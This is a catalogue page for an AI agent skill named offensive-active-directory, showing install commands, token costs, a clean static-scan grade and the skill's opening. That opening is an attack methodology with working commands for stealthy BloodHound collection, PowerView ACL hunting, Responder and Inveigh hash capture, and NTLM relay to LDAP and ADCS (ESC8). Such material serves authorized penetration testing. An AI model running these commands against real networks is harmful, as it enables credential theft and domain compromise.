Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add Miosa-osa/OSA --skill offensive-active-directorygit clone --depth 1 https://github.com/Miosa-osa/OSAWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/miosa-osa/osa/offensive-active-directory)<a href="https://agentmods.dev/skills/miosa-osa/osa/offensive-active-directory"><img src="https://agentmods.dev/badge/skills/miosa-osa/osa/offensive-active-directory/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/miosa-osa/osa/offensive-active-directory"><img src="https://agentmods.dev/badge/skills/miosa-osa/osa/offensive-active-directory.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00167 | $0.04260 |
| Opus 5.5 | $0.00067 | $0.01704 |
| Sonnet 5.5 | $0.00033 | $0.00852 |
| Haiku 4.5 | $0.00017 | $0.00426 |
Grade A, and why
offensive-active-directory scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
This is a copy
86% identical to offensive-active-directory — 40 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 469 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Active Directory — Offensive Testing Methodology
Quick Workflow
- Recon AD structure offline (BloodHound, ADExplorer snapshot) — minimize live queries
- Harvest creds via poisoning, Kerberoasting, ASREProast, or LSASS where allowed
- Map attack paths to Domain Admin / Enterprise Admin / Tier 0
- Execute path with lowest detection cost, validate at each hop
- Establish persistence and document every action with timestamps
Reconnaissance
BloodHound Collection
# SharpHound (CSharp collector) — most stealthy with throttling
SharpHound.exe -c All,GPOLocalGroup --Throttle 1000 --Jitter 30 --ZipFileName recon.zip
# Stealth collection (DC-only, avoids workstation noise)
SharpHound.exe -c DCOnly --Stealth
# Bloodhound.py from Linux (no Windows host needed)
bloodhound-python -d corp.local -u user -p pass -ns 10.0.0.1 -c All
PowerView (No Tool Drop)
# Domain enumeration without binaries
$d = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
Get-DomainUser -SPN | Select samaccountname,serviceprincipalname
Get-DomainComputer -Unconstrained
Get-DomainGPO | ?{$_.gpcmachineextensionnames -match "Restricted Groups"}
Get-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDs |
?{$_.ActiveDirectoryRights -match 'WriteDacl|GenericAll|WriteOwner'}
ADExplorer Offline
# Take snapshot from any low-priv user, analyze offline
ADExplorer.exe → File → Create Snapshot
# Convert to BloodHound format
ADExplorerSnapshot.py snapshot.dat -o output/
Credential Harvesting
LLMNR / NBT-NS / mDNS Poisoning
# Capture NetNTLMv2 hashes from broadcast resolution
responder -I eth0 -wrf
# Inveigh (Windows-side, when you have a foothold)
Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -HTTP Y
Crack with hashcat mode 5600. If cracking fails, relay instead.
NTLM Relay
# Identify relay targets (no SMB signing, LDAP signing not required)
nxc smb 10.0.0.0/24 --gen-relay-list relay-targets.txt
# Relay to LDAP/LDAPS for ACL abuse, ADCS for cert request
impacket-ntlmrelayx -tf relay-targets.txt -smb2support \
--escalate-user attacker --delegate-access
# Relay to ADCS Web Enrollment (ESC8) — requires HTTP endpoint up
impacket-ntlmrelayx -t http://ca/certsrv/certfnsh.asp \
--adcs --template DomainController
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 1mo ago First seen · 469 lines · 167 tokens per session scan A 7bf954571829
offensive-active-directory is a skill published in the GitHub repository Miosa-osa/OSA (78 stars, last pushed 11d ago), licensed Apache-2.0. It adds 167 tokens to every session and 4,260 once invoked, about $0.0007 per session on Opus 5.5. A static security scan graded it A with 0 findings. It is 86% identical to offensive-active-directory, differing in 40 lines, and is treated as a copy.
Other skills, from other repositories
unit-converter
Converts between common units of measurement including temperature, distance, and weight.
code-review
Reviews code changes for quality, security, and best practices.
tui-design
This skill should be used when designing terminal user interfaces, creating TUI layouts, choosing TUI color schemes, implementing keyboard navigation, building terminal dashboards, or working with any TUI framework. Activates on mentions of TUI design, terminal UI, Ratatui layout, Ink components, Textual widgets…
bun-development
Fast, modern JavaScript/TypeScript development with the Bun runtime, inspired by oven-sh/bun.
worker-mcp-orchestrator
Guides the coordinator agent on how to orchestrate, delegate to, and supervise local worker agents using the worker-mcp server.
clack
Build and maintain interactive Node.js/Bun CLIs with Clack (@clack/prompts and @clack/core). Use when an AI agent needs to design prompt flows, implement cancellation-safe input handling, add spinners/log/note UX, apply Clack best practices, or generate runnable examples aligned with official Clack docs.